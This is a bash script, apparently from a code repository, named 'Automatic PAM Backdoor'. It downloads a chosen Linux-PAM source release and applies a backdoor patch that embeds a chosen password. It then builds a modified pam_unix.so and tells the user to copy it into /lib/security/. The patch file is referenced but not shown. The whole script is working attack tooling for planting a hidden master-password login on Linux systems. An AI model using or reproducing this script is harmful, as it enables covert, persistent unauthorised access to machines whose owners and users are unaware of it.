70 lines
1.2 KiB
Bash
Executable File
70 lines
1.2 KiB
Bash
Executable File
#!/bin/bash
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OPTIND=1
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PAM_VERSION=
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PAM_FILE=
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PASSWORD=
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echo "Automatic PAM Backdoor"
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function show_help {
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echo ""
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echo "Example usage: $0 -v 1.3.0 -p some_s3cr3t_p455word"
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echo "For a list of supported versions: http://www.linux-pam.org/library/"
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}
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while getopts ":h:?:p:v:" opt; do
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case "$opt" in
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h|\?)
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show_help
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exit 0
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;;
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v) PAM_VERSION="$OPTARG"
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;;
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p) PASSWORD="$OPTARG"
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;;
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esac
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done
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shift $((OPTIND-1))
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[ "$1" = "--" ] && shift
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if [ -z $PAM_VERSION ]; then
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show_help
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exit 1
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fi;
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if [ -z $PASSWORD ]; then
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show_help
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exit 1
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fi;
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echo "PAM Version: $PAM_VERSION"
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echo "Password: $PASSWORD"
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echo ""
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PAM_BASE_URL="http://www.linux-pam.org/library"
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PAM_DIR="Linux-PAM-${PAM_VERSION}"
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PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.bz2"
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PATCH_DIR=`which patch`
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if [ $? -ne 0 ]; then
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echo "Error: patch command not found. Exiting..."
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exit 1
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fi
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wget -c "${PAM_BASE_URL}/${PAM_FILE}"
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tar xjf $PAM_FILE
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cat backdoor.patch | sed -e "s/_PASSWORD_/${PASSWORD}/g" | patch -p1 -d $PAM_DIR
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cd $PAM_DIR
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./configure
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make
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cp modules/pam_unix/.libs/pam_unix.so ../
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cd ..
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echo "Backdoor created."
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echo "Now copy the generated ./pam_unix.so to the right directory (usually /lib/security/)"
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echo ""
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